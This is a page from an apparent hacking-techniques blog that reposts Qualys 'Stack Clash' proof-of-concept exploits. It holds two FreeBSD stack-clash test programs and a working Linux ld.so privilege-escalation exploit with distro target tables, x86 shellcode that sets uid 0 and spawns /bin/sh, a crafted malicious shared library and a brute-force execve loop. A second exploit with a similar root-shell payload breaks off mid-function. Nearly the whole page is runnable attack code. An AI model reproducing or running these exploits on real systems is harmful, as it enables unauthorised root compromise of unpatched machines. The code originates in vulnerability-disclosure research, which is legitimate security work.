Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863582982

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
 * FreeBSD_CVE-2017-FGPE.c for CVE-2017-1084 (please compile with -O0)
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static const char * last_page;

static void
alloc(const char * const final)
{
    for (;;) {
        last_page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (last_page == MAP_FAILED) die();
        if (last_page >= final) break;
    }
}

static void
clash_smash_no_jump(const size_t smash_size)
{
    char buf[1024];
    memset(buf, 'A', sizeof(buf));
    if (smash_size > sizeof(buf))
        clash_smash_no_jump(smash_size - sizeof(buf));
}

#define SGROWSIZ        ((size_t)128UL*1024)            /* amount to grow stack */

int
main(void)
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();

    struct rlimit stack;
    if (getrlimit(RLIMIT_STACK, &stack)) die();
    const size_t smash_size = stack.rlim_cur / 3 * 2;
    const size_t final_dist = arc4random() % smash_size;

    alloc((const char *)&stack - final_dist);
    clash_smash_no_jump(smash_size);
    printf("char at %p: %02x; final dist %zu (%zu)\n", last_page, *last_page, final_dist % SGROWSIZ, final_dist);
    exit(EXIT_SUCCESS);
}
            
/*
 * FreeBSD_CVE-2017-FGPU.c for CVE-2017-1084 (please compile with -O0)
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static const char * last_page;

static void
clash(void)
{
    for (;;) {
        const char * const page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page <= last_page) die();
        if (page == MAP_FAILED) break;
        last_page = page;
    }
    if (!last_page) die();
}

static void
smash_no_jump(const size_t smash_size)
{
    char buf[1024];
    memset(buf, 'A', sizeof(buf));
    if (smash_size > sizeof(buf))
        smash_no_jump(smash_size - sizeof(buf));
}

#define SGROWSIZ        ((size_t)128UL*1024)            /* amount to grow stack */

int
main(void)
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();

    clash();
    smash_no_jump(SGROWSIZ / 2 * 3);
    printf("char at %p: %02x\n", last_page, *last_page);
    exit(EXIT_SUCCESS);
}
            
/*
 * Linux_ldso_dynamic.c for CVE-2017-1000366, CVE-2017-1000371
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#define _GNU_SOURCE
#include <elf.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define PAGESZ ((size_t)4096)
#define ALIGN ((size_t)16)

#define PIE_BASE ((uintptr_t)0x80000000)
#define PIE_RAND ((size_t)1<<20)

#define STACK_BASE ((uintptr_t)0xC0000000)
#define STACK_RAND ((size_t)8<<20)

#define MAX_ARG_STRLEN ((size_t)128<<10)

static const struct target * target;
static const struct target {
    const char * name;
    const char * repl_lib;
} targets[] = {
    {
        .name = "Debian 9 (stretch)",
        .repl_lib = "lib/i386-linux-gnu",
    },
    {
        .name = "Debian 10 (buster)",
        .repl_lib = "lib/i386-linux-gnu",
    },
    {
        .name = "Ubuntu 14.04.5 (Trusty Tahr)",
        .repl_lib = "lib/i386-linux-gnu",
    },
    {
        .name = "Ubuntu 16.04.2 (Xenial Xerus)",
        .repl_lib = "lib/i386-linux-gnu",
    },
    {
        .name = "Ubuntu 17.04 (Zesty Zapus)",
        .repl_lib = "lib/i386-linux-gnu",
    },
    {
        .name = "Fedora 23 (Server Edition)",
        .repl_lib = "lib",
    },
    {
        .name = "Fedora 24 (Server Edition)",
        .repl_lib = "lib",
    },
    {
        .name = "Fedora 25 (Server Edition)",
        .repl_lib = "lib",
    },
};

#define die() do { \
    printf("died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static const ElfW(auxv_t) * my_auxv;

static unsigned long int
my_getauxval (const unsigned long int type)
{
    const ElfW(auxv_t) * p;

    if (!my_auxv) die();
    for (p = my_auxv; p->a_type != AT_NULL; p++)
        if (p->a_type == type)
            return p->a_un.a_val;
    die();
}

struct elf_info {
    uintptr_t map_start, map_end;
    uintptr_t dyn_start, dyn_end;
};

static struct elf_info
get_elf_info(const char * const binary)
{
    static struct elf_info elf;
    const int fd = open(binary, O_RDONLY | O_NOFOLLOW);
    if (fd <= -1) die();
    struct stat st;
    if (fstat(fd, &st)) die();
    if (!S_ISREG(st.st_mode)) die();
    if (st.st_size <= 0) die();
    #define SAFESZ ((size_t)64<<20)
    if (st.st_size >= (ssize_t)SAFESZ) die();
    const size_t size = st.st_size;
    uint8_t * const buf = malloc(size);
    if (!buf) die();
    if (read(fd, buf, size) != (ssize_t)size) die();
    if (close(fd)) die();

    if (size <= sizeof(ElfW(Ehdr))) die();
    const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
    if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
    if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
    if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
    if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
    if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die();
    if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
    if (ehdr->e_type != ET_DYN) die();
    if (ehdr->e_machine != EM_386) die();
    if (ehdr->e_version != EV_CURRENT) die();
    if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
    if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
    if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die();
    if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
    if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die();
    if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
    if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die();

    unsigned int i;
  {
    int interp = 0;
    for (i = 0; i < ehdr->e_phnum; i++) {
        const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
        if (phdr->p_type == PT_INTERP) interp = 1;
        if (phdr->p_type != PT_LOAD) continue;
        if (elf.map_start) die();

        if (phdr->p_offset >= size) die();
        if (phdr->p_filesz > size - phdr->p_offset) die();
        if (phdr->p_filesz > phdr->p_memsz) die();
        if (phdr->p_vaddr != phdr->p_paddr) die();
        if (phdr->p_vaddr >= SAFESZ) die();
        if (phdr->p_memsz >= SAFESZ) die();
        if (phdr->p_memsz <= 0) die();
        if (phdr->p_align != PAGESZ) die();

        switch (phdr->p_flags) {
            case PF_R | PF_X:
                if (phdr->p_vaddr) die();
                break;
            case PF_R | PF_W:
                elf.map_start = phdr->p_vaddr & ~(PAGESZ-1);
                elf.map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
                if (!elf.map_start) die();
                break;
            default:
                die();
        }
    }
    if (!interp) die();
    if (!elf.map_start) die();
  }
    for (i = 0; i < ehdr->e_shnum; i++) {
        const ElfW(Shdr) * const shdr = (const ElfW(Shdr) *)(buf + ehdr->e_shoff) + i;
        if (!(shdr->sh_flags & SHF_ALLOC)) continue;
        if (shdr->sh_size <= 0) die();
        if (shdr->sh_size >= SAFESZ) die();
        if (shdr->sh_addr >= SAFESZ) die();
        #undef SAFESZ
        const uintptr_t start = shdr->sh_addr;
        const uintptr_t end = start + shdr->sh_size;

        if (!(shdr->sh_flags & SHF_WRITE)) {
            if (start < elf.map_end && end > elf.map_start) die();
            continue;
        }
        if (start < elf.map_start || end > elf.map_end) die();
        if (shdr->sh_type != SHT_DYNAMIC) continue;
        if (shdr->sh_entsize != sizeof(ElfW(Dyn))) die();

        if (elf.dyn_start) die();
        elf.dyn_start = start;
        elf.dyn_end = end;
        if (!elf.dyn_start) die();
    }
    if (!elf.dyn_start) die();
    free(buf);
    return elf;
}

static void
create_needed_lib(const char * const needed)
{
    static struct lib {
        union {
            struct {
                ElfW(Ehdr) e;
                ElfW(Phdr) p1;
                ElfW(Phdr) p2;
                ElfW(Phdr) p3;
            } h;
            char align[PAGESZ];
        } u;
        char code1[PAGESZ];
        char code3[PAGESZ];
        char code2[8<<20];
    } lib = { .u = { .h = {
        .e = {
            .e_ident = {
                ELFMAG0,
                ELFMAG1,
                ELFMAG2,
                ELFMAG3,
                ELFCLASS32,
                ELFDATA2LSB,
                EV_CURRENT,
                ELFOSABI_SYSV,
                0
            },
            .e_type = ET_DYN,
            .e_machine = EM_386,
            .e_version = EV_CURRENT,
            .e_phoff = offsetof(struct lib, u.h.p1),
            .e_ehsize = sizeof(ElfW(Ehdr)),
            .e_phentsize = sizeof(ElfW(Phdr)),
            .e_phnum = 3
        },
        .p1 = {
            .p_type = PT_LOAD,
            .p_offset = offsetof(struct lib, code1),
            .p_vaddr = 0,
            .p_filesz = sizeof(lib.code1),
            .p_memsz = sizeof(lib.code1),
            .p_flags = PF_R | PF_X,
            .p_align = PAGESZ
        },
        .p2 = {
            .p_type = PT_LOAD,
            .p_offset = offsetof(struct lib, code2),
            .p_vaddr = -(sizeof(lib.code2) + PAGESZ),
            .p_filesz = sizeof(lib.code2),
            .p_memsz = sizeof(lib.code2),
            .p_flags = PF_R | PF_X,
            .p_align = PAGESZ
        },
        .p3 = {
            .p_type = PT_LOAD,
            .p_offset = offsetof(struct lib, code3),
            .p_vaddr = sizeof(lib.code1),
            .p_filesz = sizeof(lib.code3),
            .p_memsz = sizeof(lib.code3),
            .p_flags = PF_R | PF_X,
            .p_align = PAGESZ
        }
    }}};

    static const char shellcode[] =
        "\x83\xc4\x40\xb8\x17\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8"
        "\x2e\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00"
        "\xbb\x00\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00"
        "\x00\xbb\x00\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00"
        "\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xba\x00"
        "\x00\x00\x00\x52\x53\x89\xe1\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00"
        "\x00\x00\x00\xcd\x80";

    memset(lib.code2, 0x90, sizeof(lib.code2));
    if (sizeof(lib.code2) <= sizeof(shellcode)) die();
    memcpy(lib.code2 + sizeof(lib.code2) - sizeof(shellcode), shellcode, sizeof(shellcode));

    const int fd = open(needed, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
    if (fd <= -1) die();
    if (write(fd, &lib, sizeof(lib)) != (ssize_t)sizeof(lib)) die();
    if (fchmod(fd, 0755)) die();
    if (close(fd)) die();
}

static const char my_x86_platforms[4][5] = {
    "i386", "i486", "i586", "i686"
};

int
main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
{
  {
    const char * const * p = my_envp;
    while (*p++) ;
    my_auxv = (const void *)p;
  }
    if (my_getauxval(AT_PAGESZ) != PAGESZ) die();

    if (my_argc != 1+2) {
        printf("Usage: %s target binary\n", my_argv[0]);
        size_t i;
        for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
            printf("Target %zu %s\n", i, targets[i].name);
        }
        die();
    }
  {
    const size_t i = strtoul(my_argv[1], NULL, 10);
    if (i >= sizeof(targets)/sizeof(*targets)) die();
    target = targets + i;
    printf("Target %zu %s\n", i, target->name);
  }
    const char * const binary = realpath(my_argv[2], NULL);
    if (!binary) die();
    if (*binary != '/') die();
    if (access(binary, R_OK | X_OK)) die();

    const struct elf_info elf = get_elf_info(binary);
    printf("map_start -> dyn_end = %u\n", elf.dyn_end - elf.map_start);
    printf("dyn_start -> dyn_end = %u\n", elf.dyn_end - elf.dyn_start);
    printf("dyn_start -> map_end = %u\n", elf.map_end - elf.dyn_start);
    printf("dyn_end -> map_end = %u\n", elf.map_end - elf.dyn_end);

    const char * const slash = strrchr(binary, '/');
    if (!slash) die();
    if (slash <= binary) die();
    const char * const origin = strndup(binary, slash - binary);
    if (!origin) die();
    printf("origin %s (%zu)\n", origin, strlen(origin));

    const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
    if (!platform) die();
    const size_t platform_len = strlen(platform);
    if (platform_len != 4) die();
  {
    size_t i;
    for (i = 0; ; i++) {
        if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die();
        if (strcmp(platform, my_x86_platforms[i]) == 0) break;
    }
  }
    const struct {
        const char * str;
        size_t len;
        size_t repl_len;
    } DSTs[] = {
        #define DST_LIB "LIB"
        { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
        #define DST_PLATFORM "PLATFORM"
        { DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
    };
    size_t repl_max = strlen(origin);
  {
    size_t i;
    for (i = 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
        if (repl_max < DSTs[i].repl_len)
            repl_max = DSTs[i].repl_len;
    }
  }
    printf("repl_max %zu\n", repl_max);
    if (repl_max < 4) die();

    static struct {
        double probability;
        size_t len, gwr, cnt, dst;
    } best;

    #define LLP "LD_LIBRARY_PATH="
    static char llp[MAX_ARG_STRLEN];
    #define MAX_GWR (sizeof(llp) - sizeof(LLP))
  {
    size_t len;
    for (len = MAX_GWR; len >= ALIGN; len -= ALIGN) {
        size_t gwr;
        for (gwr = len; gwr >= elf.dyn_end - elf.dyn_start; gwr--) {
            size_t dst;
            for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {
                const size_t cnt = (len - gwr) / (1 + DSTs[dst].len + 1);
                const size_t gpj = (len + ((repl_max > 4) ? (cnt * (repl_max - 4)) : 0) + 1 + (ALIGN-1)) & ~(ALIGN-1);
                const size_t bwr = cnt * (DSTs[dst].repl_len + 1) + ((len - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1;

                if (gwr + bwr >= elf.map_end - elf.dyn_start) continue;
                const size_t min = MIN(gwr, elf.dyn_end - elf.map_start);
                if (gpj <= min + (elf.map_end - elf.dyn_end) + 3 * PAGESZ) continue;

                const double probability = (double)min / (double)(PIE_RAND + STACK_RAND);
                if (best.probability < probability) {
                    best.probability = probability;
                    best.len = len;
                    best.gwr = gwr;
                    best.cnt = cnt;
                    best.dst = dst;
                    printf("len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g)\n",
                            len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len, (size_t)(1 / probability), probability);
                }
            }
        }
    }
  }
    if (!best.probability) die();
    if (STACK_BASE <= PIE_BASE) die();
    const size_t stack_size = (STACK_BASE - PIE_BASE) - (PIE_RAND/2 + elf.map_end + STACK_RAND/2);
    printf("stack_size %zu\n", stack_size);

    #define STRTAB_SIZE (2 * STACK_RAND)
    #define NEEDED "./3456789abcdef"
    if (sizeof(NEEDED) != ALIGN) die();
    static union {
        uintptr_t p;
        char s[sizeof(void *)];
    } strtab_addr;
  {
    static const ElfW(Dyn) dyn;
    if (sizeof(strtab_addr) != sizeof(dyn.d_un)) die();
    if (sizeof(strtab_addr.p) != sizeof(dyn.d_un)) die();
    if (sizeof(strtab_addr.s) != sizeof(dyn.d_un)) die();
  }
  {
    uintptr_t needed_addr = STACK_BASE - STACK_RAND/2 - STRTAB_SIZE/2;
    const uintptr_t first_needed_addr = needed_addr;
    for (;; needed_addr += sizeof(NEEDED)) {
        if (needed_addr % sizeof(NEEDED)) die();
        strtab_addr.p = needed_addr / 2;
        size_t i;
        for (i = 0; i < sizeof(strtab_addr.s); i++) {
            if (strchr("$:;\\", strtab_addr.s[i])) {
                if (i >= 3) die();
                break;
            }
        }
        if (i >= sizeof(strtab_addr.s)) break;
    }
    printf("needed %08x -> %08x (first %08x -> %08x)\n",
            needed_addr, strtab_addr.p, first_needed_addr,
            needed_addr - first_needed_addr);
    if (needed_addr < first_needed_addr) die();
    if (needed_addr - first_needed_addr >= STACK_RAND / 4) die();
  }
    #define INITIAL_STACK_EXPANSION (131072UL)
    const size_t needed_envs = STRTAB_SIZE / sizeof(NEEDED);
    if (needed_envs < INITIAL_STACK_EXPANSION / sizeof(char *)) die();

    static char clash[MAX_ARG_STRLEN];
    memset(clash, ' ', sizeof(clash)-1);
    if ((strlen(clash) + 1) % ALIGN) die();
    const size_t clash_envs = (stack_size - sizeof(llp) - needed_envs * (sizeof(char *) + sizeof(NEEDED)))
                              / (sizeof(char *) + sizeof(clash));
    printf("#needed %zu #clash %zu\n", needed_envs, clash_envs);

  {
    char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
    memset(cp, '/', best.len);
    const char * const bwrp = cp + best.gwr;
    cp += elf.dyn_start % ALIGN;
    if (cp >= bwrp) die();
   {
    static const ElfW(Dyn) dyn;
    for (; bwrp - cp >= (ptrdiff_t)sizeof(dyn); cp += sizeof(dyn)) {
        ElfW(Dyn) * const dynp = (void *)cp;
        dynp->d_tag = DT_AUXILIARY;
        dynp->d_un.d_ptr = strtab_addr.p;
    }
   }
    if (cp > bwrp) die();
    cp = (char *)bwrp;
    if (!best.cnt) die();
    if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
    size_t i;
    for (i = 0; i < best.cnt; i++) {
        *cp++ = '$';
        cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
        *cp++ = '/';
    }
    if (cp >= llp + sizeof(llp)) die();
    if ((strlen(llp) + 1) % ALIGN) die();
    if ((strlen(llp) + 1) != sizeof(LLP) + best.len) die();
  }

    #define LHCM "LD_HWCAP_MASK="
    static char lhcm[64];
  {
    const int width = ALIGN - (sizeof(LHCM) + strlen(binary) + 1 + sizeof(void *)) % ALIGN;
    if (width <= 0) die();
    if ((unsigned int)width > ALIGN) die();
    if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%0*u", LHCM, width, 0)
                                  >= sizeof(lhcm)) die();
    if (strlen(lhcm) + 1 != sizeof(LHCM) + width) die();
  }

    const size_t args = 2 + clash_envs + needed_envs + 1;
    char ** const argv = calloc(args, sizeof(char *));
    if (!argv) die();
  {
    char ** ap = argv;
    *ap++ = (char *)binary;
    *ap++ = "--help";
    size_t i;
    for (i = 0; i < clash_envs; i++) {
        *ap++ = clash;
    }
    for (i = 0; i < needed_envs; i++) {
        *ap++ = NEEDED;
    }
    *ap++ = NULL;
    if (ap != argv + args) die();
  }

    const size_t envs = 1 + 2;
    char ** const envp = calloc(envs, sizeof(char *));
    if (!envp) die();
  {
    char ** ep = envp;
    *ep++ = llp;
    *ep++ = lhcm;
    *ep++ = NULL;
    if (ep != envp + envs) die();
  }

  {
    static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY };
    if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
  }
    int pipefd[2];
    if (pipe(pipefd)) die();
    if (close(pipefd[0])) die();
    pipefd[0] = -1;
    if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();

    create_needed_lib(NEEDED);

    size_t try;
    for (try = 1; try <= 65536; try++) {
        if (fflush(stdout)) die();
        const pid_t pid = fork();
        if (pid <= -1) die();
        if (pid == 0) {
            if (dup2(pipefd[1], 1) != 1) die();
            if (dup2(pipefd[1], 2) != 2) die();
            execve(*argv, argv, envp);
            die();
        }
        int status = 0;
        struct timeval start, stop, diff;
        if (gettimeofday(&start, NULL)) die();
        if (waitpid(pid, &status, WUNTRACED) != pid) die();
        if (gettimeofday(&stop, NULL)) die();
        timersub(&stop, &start, &diff);
        printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);

        if (WIFSIGNALED(status)) {
            printf("signal %d\n", WTERMSIG(status));
            switch (WTERMSIG(status)) {
                case SIGPIPE:
                case SIGSEGV:
                case SIGBUS:
                    break;
                default:
                    die();
            }
        } else if (WIFEXITED(status)) {
            printf("exited %d\n", WEXITSTATUS(status));
        } else if (WIFSTOPPED(status)) {
            printf("stopped %d\n", WSTOPSIG(status));
            die();
        } else {
            printf("unknown %d\n", status);
            die();
        }
    }
    die();
}
            
/*
 * Linux_ldso_hwcap.c for CVE-2017-1000366, CVE-2017-1000370
 * Copyright (C) 2017 Qualys, Inc.
 *
 * my_important_hwcaps() adapted from elf/dl-hwcaps.c,
 * part of the GNU C Library:
 * Copyright (C) 2012-2017 Free Software Foundation, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

/**
cat > la.c << "EOF"
static void __attribute__ ((constructor)) _init (void) {
    __asm__ __volatile__ (
    "addl $64, %esp;"
    // setuid(0);
    "movl $23, %eax;"
    "movl $0, %ebx;"
    "int $0x80;"
    // setgid(0);
    "movl $46, %eax;"
    "movl $0, %ebx;"
    "int $0x80;"
    // dup2(0, 1);
    "movl $63, %eax;"
    "movl $0, %ebx;"
    "movl $1, %ecx;"
    "int $0x80;"
    // dup2(0, 2);
    "movl $63, %eax;"
    "movl $0, %ebx;"
    "movl $2, %ecx;"
    "int $0x80;"
    // execve("/bin/sh");
    "movl $11, %eax;"
    "pushl $0x0068732f;"
    "pushl $0x6e69622f;"
    "movl %esp, %ebx;"
    "movl $0, %edx;"
    "pushl %edx;"
    "pushl %ebx;"
    "movl %esp, %ecx;"
    "int $0x80;"
    // exit(0);
    "movl $1, %eax;"
    "movl $0, %ebx;"
    "int $0x80;"
    );
}
EOF
gcc -fpic -shared -nostdlib -Os -s -o la.so la.c
xxd -i la.so > la.so.h
**/

#define _GNU_SOURCE
#include <assert.h>
#include <elf.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define PAGESZ ((size_t)4096)
#define STACK_ALIGN ((size_t)16)
#define MALLOC_ALIGN ((size_t)8)

#define MMAP_BASE ((uintptr_t)0x40000000)
#define MMAP_RAND ((size_t)1<<20)

#define STACK_BASE ((uintptr_t)0xC0000000)
#define STACK_RAND ((size_t)8<<20)

#define MAX_ARG_STRLEN ((size_t)128<<10)
#define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF)

static const struct target * target;
static const struct target {
    const char * name;
    size_t memalign_up;
    size_t nsystem_dirs_len;
    size_t sizeof_system_dirs;
    const char * repl_lib;
    int ignore_lib;
    int ignore_origin;
} targets[] = {
    {
        .name = "Debian 7 (wheezy)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 4,
        .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
        .repl_lib = "lib/i386-linux-gnu",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "Debian 8 (jessie)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 4,
        .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
        .repl_lib = "lib/i386-linux-gnu",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "Debian 9 (stretch)",
        .memalign_up = 2 * PAGESZ,
        .nsystem_dirs_len = 4,
        .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
        .repl_lib = "lib/i386-linux-gnu",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "Debian 10 (buster)",
        .memalign_up = 2 * PAGESZ,
        .nsystem_dirs_len = 4,
        .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
        .repl_lib = "lib/i386-linux-gnu",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "Fedora 23 (Server Edition)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "Fedora 24 (Server Edition)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "Fedora 25 (Server Edition)",
        .memalign_up = 2 * PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "CentOS 5.3 (Final)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 1,
        .ignore_origin = 0,
    },
    {
        .name = "CentOS 5.11 (Final)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 0,
        .ignore_origin = 1,
    },
    {
        .name = "CentOS 6.0 (Final)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "CentOS 6.8 (Final)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 0,
        .ignore_origin = 1,
    },
    {
        .name = "CentOS 7.2.1511 (AltArch)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
};

#define die() do { \
    printf("died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static const ElfW(auxv_t) * my_auxv;

static unsigned long int
my_getauxval (const unsigned long int type)
{
    const ElfW(auxv_t) * p;

    if (!my_auxv) die();
    for (p = my_auxv; p->a_type != AT_NULL; p++)
        if (p->a_type == type)
            return p->a_un.a_val;
    die();
}

static size_t
get_elf_mmaps(const char * const binary)
{
    if (!binary) die();
    if (*binary != '/') die();
    struct stat st;
    if (stat(binary, &st)) die();
    if (!S_ISREG(st.st_mode)) die();
    if (st.st_size <= 0) die();
    #define SAFESZ ((size_t)64<<20)
    if (st.st_size >= (ssize_t)SAFESZ) die();
    const size_t size = st.st_size;
    printf("%s %zu mmaps ", binary, size);

    const int fd = open(binary, O_RDONLY);
    if (fd <= -1) {
        const size_t mmaps = (size + PAGESZ-1) & ~(PAGESZ-1);
        printf("%zu (unreadable)\n", mmaps);
        return mmaps;
    }
